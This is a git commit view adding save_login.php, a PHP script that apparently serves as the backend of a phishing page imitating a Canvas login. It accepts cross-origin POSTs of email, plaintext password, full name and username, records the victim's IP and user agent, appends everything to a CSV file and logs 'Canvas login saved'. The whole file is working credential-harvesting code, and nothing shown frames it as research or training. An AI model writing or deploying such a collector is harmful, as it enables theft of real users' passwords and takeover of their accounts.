first commit
This commit is contained in:
commit
e6339093e9
5 changed files with 1366 additions and 0 deletions
103
save_login.php
Normal file
103
save_login.php
Normal file
|
@ -0,0 +1,103 @@
|
|||
<?php
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header('Access-Control-Allow-Methods: POST');
|
||||
header('Access-Control-Allow-Headers: Content-Type');
|
||||
header('Content-Type: text/plain');
|
||||
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
|
||||
http_response_code(405);
|
||||
echo "Method not allowed";
|
||||
exit;
|
||||
}
|
||||
|
||||
$email = isset($_POST['email']) ? $_POST['email'] : '';
|
||||
$password = isset($_POST['password']) ? $_POST['password'] : '';
|
||||
$remember = isset($_POST['remember']) ? $_POST['remember'] : '0';
|
||||
$login_type = isset($_POST['login_type']) ? $_POST['login_type'] : 'email';
|
||||
|
||||
$full_name = isset($_POST['full_name']) ? $_POST['full_name'] : '';
|
||||
$username = isset($_POST['username']) ? $_POST['username'] : '';
|
||||
//$join_code = isset($_POST['join_code']) ? $_POST['join_code'] : '';
|
||||
|
||||
if (empty($email)) {
|
||||
http_response_code(400);
|
||||
echo "Email is required";
|
||||
exit;
|
||||
}
|
||||
|
||||
$timestamp = date('Y-m-d H:i:s');
|
||||
$ip_address = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
|
||||
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
|
||||
|
||||
if ($login_type === 'create_account') {
|
||||
$csv_data = [
|
||||
$timestamp,
|
||||
$email,
|
||||
$password,
|
||||
$remember === '1' ? 'yes' : 'no',
|
||||
$login_type,
|
||||
$ip_address,
|
||||
$user_agent,
|
||||
$full_name,
|
||||
$username,
|
||||
// $join_code
|
||||
];
|
||||
} else {
|
||||
$csv_data = [
|
||||
$timestamp,
|
||||
$email,
|
||||
$password,
|
||||
$remember === '1' ? 'yes' : 'no',
|
||||
$login_type,
|
||||
$ip_address,
|
||||
$user_agent,
|
||||
'',
|
||||
'',
|
||||
''
|
||||
];
|
||||
}
|
||||
|
||||
$csv_file = 'login_data.csv';
|
||||
|
||||
if (!file_exists($csv_file)) {
|
||||
$headers = [
|
||||
'Timestamp',
|
||||
'Email',
|
||||
'Password',
|
||||
'Remember Me',
|
||||
'Login Type',
|
||||
'IP Address',
|
||||
'User Agent',
|
||||
'Full Name',
|
||||
'Username',
|
||||
// 'Join Code'
|
||||
];
|
||||
$file = fopen($csv_file, 'w');
|
||||
if ($file === false) {
|
||||
http_response_code(500);
|
||||
echo "Error: Cannot create CSV file";
|
||||
exit;
|
||||
}
|
||||
fputcsv($file, $headers);
|
||||
fclose($file);
|
||||
}
|
||||
|
||||
$file = fopen($csv_file, 'a');
|
||||
if ($file === false) {
|
||||
http_response_code(500);
|
||||
echo "Error: Cannot open CSV file for writing";
|
||||
exit;
|
||||
}
|
||||
|
||||
if (fputcsv($file, $csv_data) === false) {
|
||||
fclose($file);
|
||||
http_response_code(500);
|
||||
echo "Error: Cannot write to CSV file";
|
||||
exit;
|
||||
}
|
||||
|
||||
fclose($file);
|
||||
|
||||
echo "Login data saved successfully";
|
||||
error_log("Canvas login saved: " . $email . " at " . $timestamp);
|
||||
?>
|
Loading…
Add table
Add a link
Reference in a new issue